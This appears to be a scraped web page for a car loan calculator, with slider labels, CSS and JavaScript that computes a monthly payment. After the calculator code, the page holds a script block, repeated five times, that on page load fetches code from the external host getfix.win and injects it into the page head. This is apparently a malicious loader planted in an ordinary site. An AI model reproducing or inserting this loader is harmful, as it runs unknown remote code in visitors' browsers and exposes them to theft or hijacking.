Skip to content Skip to sidebar Skip to footer

Car Planner Calculator

Car Planner Calculator

025L50L75L1Cr+
025L50L75L1Cr
Y
51015202530
%
1%5%10%15%20%

.slider-wrapper { width: 100%; margin-bottom: 30px; } .slider-label { display: flex; justify-content: space-between; } input[type=”range”] { width: 100%; -webkit-appearance: none; appearance: none; height: 10px; background: #ddd; outline: none; opacity: 0.7; transition: opacity .2s; } input[type=”range”]::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 25px; height: 25px; background: #BFAB98; cursor: pointer; border-radius: 50%; } input[type=”range”]::-moz-range-thumb { width: 25px; height: 25px; background: #BFAB98; cursor: pointer; border-radius: 50%; } .input-value { border: 1px solid #ccc; padding: 5px; text-align: center; width: 150px; } .slider-values { display: flex; justify-content: space-between; margin-top: 10px; font-size: 14px; color: #666; } .row1 { display: flex; justify-content: center; align-content: center; align-items: center; margin-bottom: 20px; } .slider-label { margin-right: 30px; } .btn:focus { outline: none; box-shadow: none; }

Car Planner Calculator

Car Price
025L50L75L100L125L150L175L200L
Down Payment
025L50L75L100L125L150L175L200L
Loan Term
Y
051015202530
Annual Interest Rate
%
02.55.07.51012.51517.520
 

function formatNumber(num) { return num.toString().replace(/B(?=(d{2})+(?!d))/g, “,”); } function parseFormattedNumber(str) { return parseInt(str.replace(/,/g, ”)); } function attachSliderEvents(sliderId, inputId) { const slider = document.getElementById(sliderId); const input = document.getElementById(inputId); slider.addEventListener(‘input’, function () { input.value = formatNumber(slider.value); }); input.addEventListener(‘input’, function () { const value = parseFormattedNumber(input.value); if (!isNaN(value) && value >= slider.min && value <= slider.max) { slider.value = value; } }); } attachSliderEvents(‘car-price’, ‘monthlyInvestment1’); attachSliderEvents(‘down-payment’, ‘monthlyInvestment2’); attachSliderEvents(‘loan-term’, ‘monthlyInvestment3’); attachSliderEvents(‘interest-rate’, ‘monthlyInvestment4’); function calculateCarLoan() { const carPrice = parseFloat(document.getElementById(‘car-price’).value); const downPayment = parseFloat(document.getElementById(‘down-payment’).value); const loanTerm = parseInt(document.getElementById(‘loan-term’).value); const annualInterestRate = parseFloat(document.getElementById(‘interest-rate’).value); const loanAmount = carPrice – downPayment; const monthlyInterestRate = annualInterestRate / (12 * 100); const numberOfMonths = loanTerm * 12; const monthlyPayment = (loanAmount * monthlyInterestRate * Math.pow(1 + monthlyInterestRate, numberOfMonths)) / (Math.pow(1 + monthlyInterestRate, numberOfMonths) – 1); document.getElementById(‘result’).value = “Monthly Payment: ” + monthlyPayment.toFixed(2); }

;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });

Leave a comment